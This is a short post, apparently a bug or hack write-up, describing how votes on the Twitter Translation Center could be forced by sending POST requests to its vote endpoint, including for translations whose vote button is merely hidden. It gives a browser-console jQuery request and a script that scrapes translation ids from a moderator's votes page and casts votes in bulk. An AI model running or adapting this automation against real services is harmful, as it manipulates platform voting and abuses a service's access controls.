Twitter Translation Center Bug/Hack

Voting automatically in TTC translations

After analyzing the voting system of the TTC,

I noticed that the sending of the voting request was done through the POST method in the url

https://translate.twitter.com/translations/vote each translation has an id with 8 digits

When the translation is already approved, the only thing they do is hide The button,

that's when I realized that if I take the id of this approved translation and send it with the POST method the vote would be confirmed

Ex:

To send I used the Browser Console, you can find by pressing the "f12"

$.ajax({
  type: "POST",
  url: 'https://translate.twitter.com/translations/vote',
  data: 'id=12345678',
});

#It's working! After my theory was confirmed, I decided to automate the procedure.

If you join the profile of a TCC moderator, you may note that in the "Votes" or "Translations" area

they will contain translations and votes already approved by this moderator..

Ex:

https://translate.twitter.com/user/MODERATOR/votes

With the help of JavaScript

I was able to extract the ID's of the approved translations and send them via POST as a normal voting day

var c = document.getElementsByClassName("toggle").length;
for (i = 0; i < c; i++){
	var id = (document.getElementsByClassName("toggle").item(i).getAttribute("data-id"));	
$.ajax({
  type: "POST",
  url: 'https://translate.twitter.com/translations/vote',
  data: 'id=' + id ,
});
console.log('foi ' + id);
}
